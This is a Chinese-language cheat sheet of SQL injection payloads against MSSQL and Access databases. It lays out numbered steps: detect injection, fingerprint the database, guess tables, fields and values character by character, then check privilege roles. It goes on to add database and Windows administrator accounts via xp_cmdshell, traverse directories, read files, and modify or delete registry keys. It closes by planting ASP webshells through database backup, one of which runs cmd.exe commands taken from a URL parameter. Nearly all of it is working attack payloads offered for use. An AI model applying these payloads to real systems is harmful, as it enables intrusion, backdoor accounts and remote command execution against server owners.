1.判断是否有注入
;and 1=1
;and 1=2
2.初步判断是否是mssql
;and user>0
3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入参数是字符
and [查询条件] and =
5.搜索时没过滤参数的
and [查询条件] and %25=
6.猜数据库
;and (Select Count(*) from [数据库名])>0
7.猜字段
;and (Select Count([字段名]) from [数据库名])>0
8.猜字段中记录长度
;and (select top 1 len([字段名]) from [数据库名])>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid([字段名],1,1)) from [数据库名])>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring([字段名],1,1)) from [数据库名])>0
10.测试权限结构(mssql)
;and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
;and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
;and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
;and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
;and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
;and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
;and 1=(SELECT IS_MEMBER(db_owner));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net user username password /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators username /add;--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree c:
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(上步得到的paths))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看文件的内容
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,CommonFilesDir 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName,reg_sz,hello 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName 删除某个值
xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionTestkey 删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (<% Dim oScript %>);
backup database model to disk=c:l.asp;
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=dbo 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>);
backup database model to disk=g:wwwtestl.asp;
请求的时候,像这样子用:
http://ip/l.asp?c=dir
